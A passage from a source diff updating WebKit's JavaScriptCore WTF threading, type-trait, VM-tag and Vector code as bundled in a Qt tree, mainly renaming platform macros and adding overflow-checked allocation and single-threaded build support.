+#elif OS(WINDOWS)
     int m_index;
 #endif
+#endif
 };
 
+#if ENABLE(SINGLE_THREADED)
+template<typename T>
+inline ThreadSpecific<T>::ThreadSpecific()
+    : m_value(0)
+{
+}
+
+template<typename T>
+inline ThreadSpecific<T>::~ThreadSpecific()
+{
+}
+
+template<typename T>
+inline T* ThreadSpecific<T>::get()
+{
+    return m_value;
+}
+
+template<typename T>
+inline void ThreadSpecific<T>::set(T* ptr)
+{
+    ASSERT(!get());
+    m_value = ptr;
+}
+#else
 #if USE(PTHREADS)
 template<typename T>
 inline ThreadSpecific<T>::ThreadSpecific()
@@ -157,7 +186,12 @@ inline void ThreadSpecific<T>::set(T* ptr)
     m_key.setLocalData(data);
 }
 
-#elif PLATFORM(WIN_OS)
+#elif OS(WINDOWS)
+
+// TLS_OUT_OF_INDEXES is not defined on WinCE.
+#ifndef TLS_OUT_OF_INDEXES
+#define TLS_OUT_OF_INDEXES 0xffffffff
+#endif
 
 // The maximum number of TLS keys that can be created. For simplification, we assume that:
 // 1) Once the instance of ThreadSpecific<> is created, it will not be destructed until the program dies.
@@ -171,14 +205,14 @@ template<typename T>
 inline ThreadSpecific<T>::ThreadSpecific()
     : m_index(-1)
 {
-    DWORD tls_key = TlsAlloc();
-    if (tls_key == TLS_OUT_OF_INDEXES)
+    DWORD tlsKey = TlsAlloc();
+    if (tlsKey == TLS_OUT_OF_INDEXES)
         CRASH();
 
     m_index = InterlockedIncrement(&tlsKeyCount()) - 1;
     if (m_index >= kMaxTlsKeySize)
         CRASH();
-    tlsKeys()[m_index] = tls_key;
+    tlsKeys()[m_index] = tlsKey;
 }
 
 template<typename T>
@@ -207,10 +241,12 @@ inline void ThreadSpecific<T>::set(T* ptr)
 #else
 #error ThreadSpecific is not implemented for this platform.
 #endif
+#endif
 
 template<typename T>
 inline void ThreadSpecific<T>::destroy(void* ptr)
 {
+#if !ENABLE(SINGLE_THREADED)
     Data* data = static_cast<Data*>(ptr);
 
 #if USE(PTHREADS)
@@ -230,7 +266,7 @@ inline void ThreadSpecific<T>::destroy(void* ptr)
     pthread_setspecific(data->owner->m_key, 0);
 #elif PLATFORM(QT)
     // Do nothing here
-#elif PLATFORM(WIN_OS)
+#elif OS(WINDOWS)
     TlsSetValue(tlsKeys()[data->owner->m_index], 0);
 #else
 #error ThreadSpecific is not implemented for this platform.
@@ -239,6 +275,7 @@ inline void ThreadSpecific<T>::destroy(void* ptr)
 #if !PLATFORM(QT)
     delete data;
 #endif
+#endif
 }
 
 template<typename T>
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.cpp
index 1d4185c..49de59e 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.cpp
@@ -49,13 +49,14 @@ static void* threadEntryPoint(void* contextData)
 {
     NewThreadContext* context = reinterpret_cast<NewThreadContext*>(contextData);
 
-    setThreadNameInternal(context->name);
-
-    // Block until our creating thread has completed any extra setup work.
+    // Block until our creating thread has completed any extra setup work, including
+    // establishing ThreadIdentifier.
     {
         MutexLocker locker(context->creationMutex);
     }
 
+    initializeCurrentThreadInternal(context->name);
+
     // Grab the info that we need out of the context, then deallocate it.
     ThreadFunction entryPoint = context->entryPoint;
     void* data = context->data;
@@ -75,7 +76,7 @@ ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char*
 
     NewThreadContext* context = new NewThreadContext(entryPoint, data, name);
 
-    // Prevent the thread body from executing until we've established the thread identifier
+    // Prevent the thread body from executing until we've established the thread identifier.
     MutexLocker locker(context->creationMutex);
 
     return createThreadInternal(threadEntryPoint, context, name);
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.h b/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.h
index 71c9402..768aecf 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.h
@@ -61,7 +61,7 @@
 
 #include "Platform.h"
 
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 #include <windows.h>
 #endif
 
@@ -69,11 +69,13 @@
 #include <wtf/Locker.h>
 #include <wtf/Noncopyable.h>
 
-#if PLATFORM(WIN_OS) && !PLATFORM(WINCE)
+#if OS(WINDOWS) && !OS(WINCE)
 #include <windows.h>
-#elif PLATFORM(DARWIN)
+#elif OS(DARWIN)
 #include <libkern/OSAtomic.h>
-#elif COMPILER(GCC)
+#elif OS(ANDROID)
+#include <cutils/atomic.h>
+#elif COMPILER(GCC) && !OS(SYMBIAN)
 #if (__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 2))
 #include <ext/atomicity.h>
 #else
@@ -84,7 +86,7 @@
 #if USE(PTHREADS)
 #include <pthread.h>
 #elif PLATFORM(GTK)
-#include <wtf/GOwnPtr.h>
+#include "GOwnPtr.h"
 typedef struct _GMutex GMutex;
 typedef struct _GCond GCond;
 #endif
@@ -119,7 +121,7 @@ ThreadIdentifier createThreadInternal(ThreadFunction, void*, const char* threadN
 
 // Called in the thread during initialization.
 // Helpful for platforms where the thread name must be set from within the thread.
-void setThreadNameInternal(const char* threadName);
+void initializeCurrentThreadInternal(const char* threadName);
 
 ThreadIdentifier currentThread();
 bool isMainThread();
@@ -142,7 +144,7 @@ typedef GOwnPtr<GCond> PlatformCondition;
 typedef QT_PREPEND_NAMESPACE(QMutex)* PlatformMutex;
 typedef void* PlatformReadWriteLock; // FIXME: Implement.
 typedef QT_PREPEND_NAMESPACE(QWaitCondition)* PlatformCondition;
-#elif PLATFORM(WIN_OS)
+#elif OS(WINDOWS)
 struct PlatformMutex {
     CRITICAL_SECTION m_internalMutex;
     size_t m_recursionCount;
@@ -215,10 +217,10 @@ private:
     PlatformCondition m_condition;
 };
 
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 #define WTF_USE_LOCKFREE_THREADSAFESHARED 1
 
-#if COMPILER(MINGW) || COMPILER(MSVC7) || PLATFORM(WINCE)
+#if COMPILER(MINGW) || COMPILER(MSVC7) || OS(WINCE)
 inline int atomicIncrement(int* addend) { return InterlockedIncrement(reinterpret_cast<long*>(addend)); }
 inline int atomicDecrement(int* addend) { return InterlockedDecrement(reinterpret_cast<long*>(addend)); }
 #else
@@ -226,13 +228,18 @@ inline int atomicIncrement(int volatile* addend) { return InterlockedIncrement(r
 inline int atomicDecrement(int volatile* addend) { return InterlockedDecrement(reinterpret_cast<long volatile*>(addend)); }
 #endif
 
-#elif PLATFORM(DARWIN)
+#elif OS(DARWIN)
 #define WTF_USE_LOCKFREE_THREADSAFESHARED 1
 
 inline int atomicIncrement(int volatile* addend) { return OSAtomicIncrement32Barrier(const_cast<int*>(addend)); }
 inline int atomicDecrement(int volatile* addend) { return OSAtomicDecrement32Barrier(const_cast<int*>(addend)); }
 
-#elif COMPILER(GCC) && !PLATFORM(SPARC64) // sizeof(_Atomic_word) != sizeof(int) on sparc64 gcc
+#elif OS(ANDROID)
+
+inline int atomicIncrement(int volatile* addend) { return android_atomic_inc(addend); }
+inline int atomicDecrement(int volatile* addend) { return android_atomic_dec(addend); }
+
+#elif COMPILER(GCC) && !CPU(SPARC64) && !OS(SYMBIAN) // sizeof(_Atomic_word) != sizeof(int) on sparc64 gcc
 #define WTF_USE_LOCKFREE_THREADSAFESHARED 1
 
 inline int atomicIncrement(int volatile* addend) { return __gnu_cxx::__exchange_and_add(addend, 1) + 1; }
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingNone.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingNone.cpp
index 46f23d2..2e8a259 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingNone.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingNone.cpp
@@ -30,11 +30,13 @@
 #include "config.h"
 #include "Threading.h"
 
+#if ENABLE(SINGLE_THREADED)
+
 namespace WTF {
 
 void initializeThreading() { }
 ThreadIdentifier createThreadInternal(ThreadFunction, void*, const char*) { return ThreadIdentifier(); }
-void setThreadNameInternal(const char*) { }
+void initializeCurrentThreadInternal(const char*) { }
 int waitForThreadCompletion(ThreadIdentifier, void**) { return 0; }
 void detachThread(ThreadIdentifier) { }
 ThreadIdentifier currentThread() { return ThreadIdentifier(); }
@@ -57,3 +59,5 @@ void lockAtomicallyInitializedStaticMutex() { }
 void unlockAtomicallyInitializedStaticMutex() { }
 
 } // namespace WebCore
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingPthreads.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingPthreads.cpp
index 6cad5e3..2feb808 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingPthreads.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingPthreads.cpp
@@ -37,6 +37,8 @@
 #include "MainThread.h"
 #include "RandomNumberSeed.h"
 #include "StdLibExtras.h"
+#include "ThreadIdentifierDataPthreads.h"
+#include "ThreadSpecific.h"
 #include "UnusedParam.h"
 #include <errno.h>
 
@@ -45,7 +47,7 @@
 #include <sys/time.h>
 #endif
 
-#if PLATFORM(ANDROID)
+#if OS(ANDROID)
 #include "jni_utility.h"
 #endif
 
@@ -55,10 +57,12 @@ typedef HashMap<ThreadIdentifier, pthread_t> ThreadMap;
 
 static Mutex* atomicallyInitializedStaticMutex;
 
-#if !PLATFORM(DARWIN) || PLATFORM(CHROMIUM)
-static ThreadIdentifier mainThreadIdentifier; // The thread that was the first to call initializeThreading(), which must be the main thread.
+#if !OS(DARWIN) || PLATFORM(CHROMIUM) || USE(WEB_THREAD)
+static pthread_t mainThread; // The thread that was the first to call initializeThreading(), which must be the main thread.
 #endif
 
+void clearPthreadHandleForIdentifier(ThreadIdentifier);
+
 static Mutex& threadMapMutex()
 {
     DEFINE_STATIC_LOCAL(Mutex, mutex, ());
@@ -71,8 +75,8 @@ void initializeThreading()
         atomicallyInitializedStaticMutex = new Mutex;
         threadMapMutex();
         initializeRandomNumberGenerator();
-#if !PLATFORM(DARWIN) || PLATFORM(CHROMIUM)
-        mainThreadIdentifier = currentThread();
+#if !OS(DARWIN) || PLATFORM(CHROMIUM) || USE(WEB_THREAD)
+        mainThread = pthread_self();
 #endif
         initializeMainThread();
     }
@@ -108,7 +112,7 @@ static ThreadIdentifier identifierByPthreadHandle(const pthread_t& pthreadHandle
     return 0;
 }
 
-static ThreadIdentifier establishIdentifierForPthreadHandle(pthread_t& pthreadHandle)
+static ThreadIdentifier establishIdentifierForPthreadHandle(const pthread_t& pthreadHandle)
 {
     ASSERT(!identifierByPthreadHandle(pthreadHandle));
 
@@ -128,7 +132,7 @@ static pthread_t pthreadHandleForIdentifier(ThreadIdentifier id)
     return threadMap().get(id);
 }
 
-static void clearPthreadHandleForIdentifier(ThreadIdentifier id)
+void clearPthreadHandleForIdentifier(ThreadIdentifier id)
 {
     MutexLocker locker(threadMapMutex());
 
@@ -137,7 +141,7 @@ static void clearPthreadHandleForIdentifier(ThreadIdentifier id)
     threadMap().remove(id);
 }
 
-#if PLATFORM(ANDROID)
+#if OS(ANDROID)
 // On the Android platform, threads must be registered with the VM before they run.
 struct ThreadData {
     ThreadFunction entryPoint;
@@ -185,13 +189,17 @@ ThreadIdentifier createThreadInternal(ThreadFunction entryPoint, void* data, con
 }
 #endif
 
-void setThreadNameInternal(const char* threadName)
+void initializeCurrentThreadInternal(const char* threadName)
 {
 #if HAVE(PTHREAD_SETNAME_NP)
     pthread_setname_np(threadName);
 #else
     UNUSED_PARAM(threadName);
 #endif
+
+    ThreadIdentifier id = identifierByPthreadHandle(pthread_self());
+    ASSERT(id);
+    ThreadIdentifierData::initialize(id);
 }
 
 int waitForThreadCompletion(ThreadIdentifier threadID, void** result)
@@ -199,12 +207,13 @@ int waitForThreadCompletion(ThreadIdentifier threadID, void** result)
     ASSERT(threadID);
 
     pthread_t pthreadHandle = pthreadHandleForIdentifier(threadID);
+    if (!pthreadHandle)
+        return 0;
 
     int joinResult = pthread_join(pthreadHandle, result);
     if (joinResult == EDEADLK)
         LOG_ERROR("ThreadIdentifier %u was found to be deadlocked trying to quit", threadID);
 
-    clearPthreadHandleForIdentifier(threadID);
     return joinResult;
 }
 
@@ -213,26 +222,30 @@ void detachThread(ThreadIdentifier threadID)
     ASSERT(threadID);
 
     pthread_t pthreadHandle = pthreadHandleForIdentifier(threadID);
+    if (!pthreadHandle)
+        return;
 
     pthread_detach(pthreadHandle);
-
-    clearPthreadHandleForIdentifier(threadID);
 }
 
 ThreadIdentifier currentThread()
 {
-    pthread_t currentThread = pthread_self();
-    if (ThreadIdentifier id = identifierByPthreadHandle(currentThread))
+    ThreadIdentifier id = ThreadIdentifierData::identifier();
+    if (id)
         return id;
-    return establishIdentifierForPthreadHandle(currentThread);
+
+    // Not a WTF-created thread, ThreadIdentifier is not established yet.
+    id = establishIdentifierForPthreadHandle(pthread_self());
+    ThreadIdentifierData::initialize(id);
+    return id;
 }
 
 bool isMainThread()
 {
-#if PLATFORM(DARWIN) && !PLATFORM(CHROMIUM)
+#if OS(DARWIN) && !PLATFORM(CHROMIUM) && !USE(WEB_THREAD)
     return pthread_main_np();
 #else
-    return currentThread() == mainThreadIdentifier;
+    return pthread_equal(pthread_self(), mainThread);
 #endif
 }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingWin.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingWin.cpp
index cccbda1..73c3f0c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingWin.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadingWin.cpp
@@ -87,10 +87,10 @@
 #include "Threading.h"
 
 #include "MainThread.h"
-#if !USE(PTHREADS) && PLATFORM(WIN_OS)
+#if !USE(PTHREADS) && OS(WINDOWS)
 #include "ThreadSpecific.h"
 #endif
-#if !PLATFORM(WINCE)
+#if !OS(WINCE)
 #include <process.h>
 #endif
 #if HAVE(ERRNO_H)
@@ -118,7 +118,7 @@ typedef struct tagTHREADNAME_INFO {
 } THREADNAME_INFO;
 #pragma pack(pop)
 
-void setThreadNameInternal(const char* szThreadName)
+void initializeCurrentThreadInternal(const char* szThreadName)
 {
     THREADNAME_INFO info;
     info.dwType = 0x1000;
@@ -161,7 +161,7 @@ void initializeThreading()
         initializeRandomNumberGenerator();
         initializeMainThread();
         mainThreadIdentifier = currentThread();
-        setThreadNameInternal("Main Thread");
+        initializeCurrentThreadInternal("Main Thread");
     }
 }
 
@@ -205,7 +205,7 @@ static unsigned __stdcall wtfThreadEntryPoint(void* param)
 
     void* result = invocation.function(invocation.data);
 
-#if !USE(PTHREADS) && PLATFORM(WIN_OS)
+#if !USE(PTHREADS) && OS(WINDOWS)
     // Do the TLS cleanup.
     ThreadSpecificThreadExit();
 #endif
@@ -218,7 +218,7 @@ ThreadIdentifier createThreadInternal(ThreadFunction entryPoint, void* data, con
     unsigned threadIdentifier = 0;
     ThreadIdentifier threadID = 0;
     ThreadFunctionInvocation* invocation = new ThreadFunctionInvocation(entryPoint, data);
-#if PLATFORM(WINCE)
+#if OS(WINCE)
     // This is safe on WINCE, since CRT is in the core and innately multithreaded.
     // On desktop Windows, need to use _beginthreadex (not available on WinCE) if using any CRT functions
     HANDLE threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)wtfThreadEntryPoint, invocation, 0, (LPDWORD)&threadIdentifier);
@@ -226,7 +226,7 @@ ThreadIdentifier createThreadInternal(ThreadFunction entryPoint, void* data, con
     HANDLE threadHandle = reinterpret_cast<HANDLE>(_beginthreadex(0, 0, wtfThreadEntryPoint, invocation, 0, &threadIdentifier));
 #endif
     if (!threadHandle) {
-#if PLATFORM(WINCE)
+#if OS(WINCE)
         LOG_ERROR("Failed to create thread at entry point %p with data %p: %ld", entryPoint, data, ::GetLastError());
 #elif defined(NO_ERRNO)
         LOG_ERROR("Failed to create thread at entry point %p with data %p.", entryPoint, data);
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/TypeTraits.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/TypeTraits.cpp
index 36fc6c6..9e51ad0 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/TypeTraits.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/TypeTraits.cpp
@@ -1,6 +1,6 @@
  /*
  * Copyright (C) 2006, 2007, 2008 Apple Inc. All rights reserved.
- * Copyright (C) 2009 Google Inc. All rights reserved.
+ * Copyright (C) 2009, 2010 Google Inc. All rights reserved.
  *
  * This library is free software; you can redistribute it and/or
  * modify it under the terms of the GNU Library General Public
@@ -101,6 +101,20 @@ COMPILE_ASSERT((!IsSameType<int, int*>::value), WTF_IsSameType_int_int_pointer_f
 COMPILE_ASSERT((!IsSameType<bool, const bool>::value), WTF_IsSameType_const_change_false);
 COMPILE_ASSERT((!IsSameType<bool, volatile bool>::value), WTF_IsSameType_volatile_change_false);
 
+template <typename T>
+class TestBaseClass {
+};
+
+class TestDerivedClass : public TestBaseClass<int> {
+};
+
+COMPILE_ASSERT((IsSubclass<TestDerivedClass, TestBaseClass<int> >::value), WTF_Test_IsSubclass_Derived_From_Base);
+COMPILE_ASSERT((!IsSubclass<TestBaseClass<int>, TestDerivedClass>::value), WTF_Test_IsSubclass_Base_From_Derived);
+COMPILE_ASSERT((IsSubclassOfTemplate<TestDerivedClass, TestBaseClass>::value), WTF_Test_IsSubclassOfTemplate_Base_From_Derived);
+COMPILE_ASSERT((IsSameType<RemoveTemplate<TestBaseClass<int>, TestBaseClass>::Type, int>::value), WTF_Test_RemoveTemplate);
+COMPILE_ASSERT((IsSameType<RemoveTemplate<int, TestBaseClass>::Type, int>::value), WTF_Test_RemoveTemplate_WithoutTemplate);
+
+
 COMPILE_ASSERT((IsSameType<bool, RemoveConst<const bool>::Type>::value), WTF_test_RemoveConst_const_bool);
 COMPILE_ASSERT((!IsSameType<bool, RemoveConst<volatile bool>::Type>::value), WTF_test_RemoveConst_volatile_bool);
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/TypeTraits.h b/src/3rdparty/webkit/JavaScriptCore/wtf/TypeTraits.h
index 9e75e7a..62dbc49 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/TypeTraits.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/TypeTraits.h
@@ -1,6 +1,6 @@
  /*
  * Copyright (C) 2006, 2007, 2008 Apple Inc. All rights reserved.
- * Copyright (C) 2009 Google Inc. All rights reserved.
+ * Copyright (C) 2009, 2010 Google Inc. All rights reserved.
  *
  * This library is free software; you can redistribute it and/or
  * modify it under the terms of the GNU Library General Public
@@ -104,6 +104,40 @@ namespace WTF {
         static const bool value = true;
     };
 
+    template <typename T, typename U> class IsSubclass {
+        typedef char YesType;
+        struct NoType {
+            char padding[8];
+        };
+
+        static YesType subclassCheck(U*);
+        static NoType subclassCheck(...);
+        static T* t;
+    public:
+        static const bool value = sizeof(subclassCheck(t)) == sizeof(YesType);
+    };
+
+    template <typename T, template<class V> class U> class IsSubclassOfTemplate {
+        typedef char YesType;
+        struct NoType {
+            char padding[8];
+        };
+
+        template<typename W> static YesType subclassCheck(U<W>*);
+        static NoType subclassCheck(...);
+        static T* t;
+    public:
+        static const bool value = sizeof(subclassCheck(t)) == sizeof(YesType);
+    };
+
+    template <typename T, template <class V> class OuterTemplate> struct RemoveTemplate {
+        typedef T Type;
+    };
+
+    template <typename T, template <class V> class OuterTemplate> struct RemoveTemplate<OuterTemplate<T>, OuterTemplate> {
+        typedef T Type;
+    };
+
     template <typename T> struct RemoveConst {
         typedef T Type;
     };
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/VMTags.h b/src/3rdparty/webkit/JavaScriptCore/wtf/VMTags.h
index 519f518..7ac02da 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/VMTags.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/VMTags.h
@@ -26,14 +26,18 @@
 #ifndef VMTags_h
 #define VMTags_h
 
-#include <wtf/Platform.h>
-
 // On Mac OS X, the VM subsystem allows tagging memory requested from mmap and vm_map
 // in order to aid tools that inspect system memory use. 
-#if PLATFORM(DARWIN) && !defined(BUILDING_ON_TIGER)
+#if OS(DARWIN) && !defined(BUILDING_ON_TIGER)
 
 #include <mach/vm_statistics.h>
 
+#if defined(VM_MEMORY_TCMALLOC)
+#define VM_TAG_FOR_TCMALLOC_MEMORY VM_MAKE_TAG(VM_MEMORY_TCMALLOC)
+#else
+#define VM_TAG_FOR_TCMALLOC_MEMORY VM_MAKE_TAG(53)
+#endif // defined(VM_MEMORY_TCMALLOC)
+
 #if defined(VM_MEMORY_JAVASCRIPT_CORE) && defined(VM_MEMORY_JAVASCRIPT_JIT_REGISTER_FILE) && defined(VM_MEMORY_JAVASCRIPT_JIT_EXECUTABLE_ALLOCATOR) && defined(VM_MEMORY_JAVASCRIPT_JIT_EXECUTABLE_ALLOCATOR)
 #define VM_TAG_FOR_COLLECTOR_MEMORY VM_MAKE_TAG(VM_MEMORY_JAVASCRIPT_CORE)
 #define VM_TAG_FOR_REGISTERFILE_MEMORY VM_MAKE_TAG(VM_MEMORY_JAVASCRIPT_JIT_REGISTER_FILE)
@@ -44,12 +48,20 @@
 #define VM_TAG_FOR_REGISTERFILE_MEMORY VM_MAKE_TAG(65)
 #endif // defined(VM_MEMORY_JAVASCRIPT_CORE) && defined(VM_MEMORY_JAVASCRIPT_JIT_REGISTER_FILE) && defined(VM_MEMORY_JAVASCRIPT_JIT_EXECUTABLE_ALLOCATOR) && defined(VM_MEMORY_JAVASCRIPT_JIT_EXECUTABLE_ALLOCATOR)
 
-#else // PLATFORM(DARWIN) && !defined(BUILDING_ON_TIGER)
+#if defined(VM_MEMORY_WEBCORE_PURGEABLE_BUFFERS)
+#define VM_TAG_FOR_WEBCORE_PURGEABLE_MEMORY VM_MAKE_TAG(VM_MEMORY_WEBCORE_PURGEABLE_BUFFERS)
+#else
+#define VM_TAG_FOR_WEBCORE_PURGEABLE_MEMORY VM_MAKE_TAG(69)
+#endif // defined(VM_MEMORY_WEBCORE_PURGEABLE_BUFFERS)
+
+#else // OS(DARWIN) && !defined(BUILDING_ON_TIGER)
 
+#define VM_TAG_FOR_TCMALLOC_MEMORY -1
 #define VM_TAG_FOR_COLLECTOR_MEMORY -1
 #define VM_TAG_FOR_EXECUTABLEALLOCATOR_MEMORY -1
 #define VM_TAG_FOR_REGISTERFILE_MEMORY -1
+#define VM_TAG_FOR_WEBCORE_PURGEABLE_MEMORY -1
 
-#endif // PLATFORM(DARWIN) && !defined(BUILDING_ON_TIGER)
+#endif // OS(DARWIN) && !defined(BUILDING_ON_TIGER)
 
 #endif // VMTags_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/ValueCheck.h b/src/3rdparty/webkit/JavaScriptCore/wtf/ValueCheck.h
new file mode 100644
index 0000000..2a86eb0
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/ValueCheck.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef ValueCheck_h
+#define ValueCheck_h
+
+#include <wtf/FastMalloc.h>
+
+namespace WTF {
+
+template<typename T> struct ValueCheck {
+    typedef T TraitType;
+    static void checkConsistency(const T&) { }
+};
+
+#if !ASSERT_DISABLED
+template<typename P> struct ValueCheck<P*> {
+    typedef P* TraitType;
+    static void checkConsistency(const P* p)
+    {
+        if (!p)
+            return;
+        ASSERT(fastMallocSize(p));
+        ValueCheck<P>::checkConsistency(*p);
+    }
+};
+#endif
+
+}
+
+#endif // ValueCheck_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/Vector.h b/src/3rdparty/webkit/JavaScriptCore/wtf/Vector.h
index e1fc5b4..6f55e53 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/Vector.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/Vector.h
@@ -24,6 +24,7 @@
 #include "FastAllocBase.h"
 #include "Noncopyable.h"
 #include "NotFound.h"
+#include "ValueCheck.h"
 #include "VectorTraits.h"
 #include <limits>
 #include <utility>
@@ -71,7 +72,7 @@ namespace WTF {
     }
 
     template <bool needsDestruction, typename T>
-    class VectorDestructor;
+    struct VectorDestructor;
 
     template<typename T>
     struct VectorDestructor<false, T>
@@ -90,7 +91,7 @@ namespace WTF {
     };
 
     template <bool needsInitialization, bool canInitializeWithMemset, typename T>
-    class VectorInitializer;
+    struct VectorInitializer;
 
     template<bool ignore, typename T>
     struct VectorInitializer<false, ignore, T>
@@ -118,7 +119,7 @@ namespace WTF {
     };
 
     template <bool canMoveWithMemcpy, typename T>
-    class VectorMover;
+    struct VectorMover;
 
     template<typename T>
     struct VectorMover<false, T>
@@ -162,7 +163,7 @@ namespace WTF {
     };
 
     template <bool canCopyWithMemcpy, typename T>
-    class VectorCopier;
+    struct VectorCopier;
 
     template<typename T>
     struct VectorCopier<false, T>
@@ -187,7 +188,7 @@ namespace WTF {
     };
 
     template <bool canFillWithMemset, typename T>
-    class VectorFiller;
+    struct VectorFiller;
 
     template<typename T>
     struct VectorFiller<false, T>
@@ -212,7 +213,7 @@ namespace WTF {
     };
     
     template<bool canCompareWithMemcmp, typename T>
-    class VectorComparer;
+    struct VectorComparer;
     
     template<typename T>
     struct VectorComparer<false, T>
@@ -285,6 +286,20 @@ namespace WTF {
             m_buffer = static_cast<T*>(fastMalloc(newCapacity * sizeof(T)));
         }
 
+        bool tryAllocateBuffer(size_t newCapacity)
+        {
+            if (newCapacity > std::numeric_limits<size_t>::max() / sizeof(T))
+                return false;
+
+            T* newBuffer;
+            if (tryFastMalloc(newCapacity * sizeof(T)).getValue(newBuffer)) {
+                m_capacity = newCapacity;
+                m_buffer = newBuffer;
+                return true;
+            }
+            return false;
+        }
+
         void deallocateBuffer(T* bufferToDeallocate)
         {
             if (m_buffer == bufferToDeallocate) {
@@ -360,6 +375,7 @@ namespace WTF {
         void restoreInlineBufferIfNeeded() { }
 
         using Base::allocateBuffer;
+        using Base::tryAllocateBuffer;
         using Base::deallocateBuffer;
 
         using Base::buffer;
@@ -404,6 +420,15 @@ namespace WTF {
             }
         }
 
+        bool tryAllocateBuffer(size_t newCapacity)
+        {
+            if (newCapacity > inlineCapacity)
+                return Base::tryAllocateBuffer(newCapacity);
+            m_buffer = inlineBuffer();
+            m_capacity = inlineCapacity;
+            return true;
+        }
+
         void deallocateBuffer(T* bufferToDeallocate)
         {
             if (bufferToDeallocate == inlineBuffer())
@@ -537,6 +562,7 @@ namespace WTF {
         void grow(size_t size);
         void resize(size_t size);
         void reserveCapacity(size_t newCapacity);
+        bool tryReserveCapacity(size_t newCapacity);
         void reserveInitialCapacity(size_t initialCapacity);
         void shrinkCapacity(size_t newCapacity);
         void shrinkToFit() { shrinkCapacity(size()); }
@@ -547,6 +573,7 @@ namespace WTF {
         template<typename U> void append(const U&);
         template<typename U> void uncheckedAppend(const U& val);
         template<size_t otherCapacity> void append(const Vector<T, otherCapacity>&);
+        template<typename U> bool tryAppend(const U*, size_t);
 
         template<typename U> void insert(size_t position, const U*, size_t);
         template<typename U> void insert(size_t position, const U&);
@@ -586,9 +613,13 @@ namespace WTF {
             m_buffer.swap(other.m_buffer);
         }
 
+        void checkConsistency();
+
     private:
         void expandCapacity(size_t newMinCapacity);
         const T* expandCapacity(size_t newMinCapacity, const T*);
+        bool tryExpandCapacity(size_t newMinCapacity);
+        const T* tryExpandCapacity(size_t newMinCapacity, const T*);
         template<typename U> U* expandCapacity(size_t newMinCapacity, U*); 
 
         size_t m_size;
@@ -739,6 +770,26 @@ namespace WTF {
         return begin() + index;
     }
 
+    template<typename T, size_t inlineCapacity>
+    bool Vector<T, inlineCapacity>::tryExpandCapacity(size_t newMinCapacity)
+    {
+        return tryReserveCapacity(max(newMinCapacity, max(static_cast<size_t>(16), capacity() + capacity() / 4 + 1)));
+    }
+    
+    template<typename T, size_t inlineCapacity>
+    const T* Vector<T, inlineCapacity>::tryExpandCapacity(size_t newMinCapacity, const T* ptr)
+    {
